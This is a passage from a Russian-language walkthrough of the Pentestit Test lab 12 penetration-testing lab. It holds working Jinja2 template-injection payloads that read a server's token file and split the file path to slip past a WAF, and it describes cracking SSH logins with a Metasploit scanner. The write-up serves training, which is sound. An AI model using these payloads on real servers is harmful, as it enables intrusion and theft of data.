{{"".__class__.__mro__[1].__subclasses__()}}
Вставляем в куки, обновляем страницу и видим, что вместо имени пользователя отобразились все загруженные классы python на сервере. Среди них есть Popen, что позволит нам читать файлы на сервере.
Теперь осталось прочитать файл по пути /var/www/api/token. К классу мы будем обращаться по индексу (у popen это 94). B нем мы вызовем функцию open, чтобы открыть файл (путь к файлу разобьем, иначе WAF фильтрует) и прочитаем функцией read().
{{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}}
В качестве вывода получим файл в виде набора байт, которые скопируем, откроем интерпретатор python и вставим в качестве строки. Далее эту строку запишем в файл. Просмотрим тип файла в утилите file. Это *tar.gz архив. Открываем и забираем токен.
Admin token
Осталось последнее задание. В архиве хранится ключ для подключения по ssh. Из анализа SIEM можно узнать, на какой хост подключаться.
Первым делом необходимо настроить права доступа на ключ, так как при подключении это проверяется (должно быть 600). Далее подключаемся, но нам сообщают, что доступ закрыт и ошибка в ключе.
При просмотре формата ключа, замечаем что его содержимое не соответствует полному файлу. Для этого нам необходима аутентификационная информация, который мы приняли при установлении соединения и SHA хеш, который можно взять в SIEM.
Но теперь при попытке подключиться, под Свиридовым (он же админ), нам говорят, что ключ не подходит. Нужно перебрать всех пользователей, которых мы уже имеем.
Для тестирования ключа и пользователей используем модуль metasploit framework – scanner/ssh/ssh_login_pubkey. И как видим, это ключ пользователя sidorov.
Найдем в файловой системе token.
find | grep token
Дальше проверяем права и сдаем токен.
Заключение
Вот и пройдена пентест-лаборатория «Pentestit Test lab 12».
Хочется сказать большое спасибо организаторам данной лаборатории, но некоторые задания были больше для CTF нежели для тестирования на проникновения. Надеюсь данная статья поможет кому-то узнать и открыть для себя что-то новое, а кому-то напомнит тот момент, когда он сам проходил данную лабораторию от токена к токену. Теперь ждем 13-ю…
Автор: RalfHacker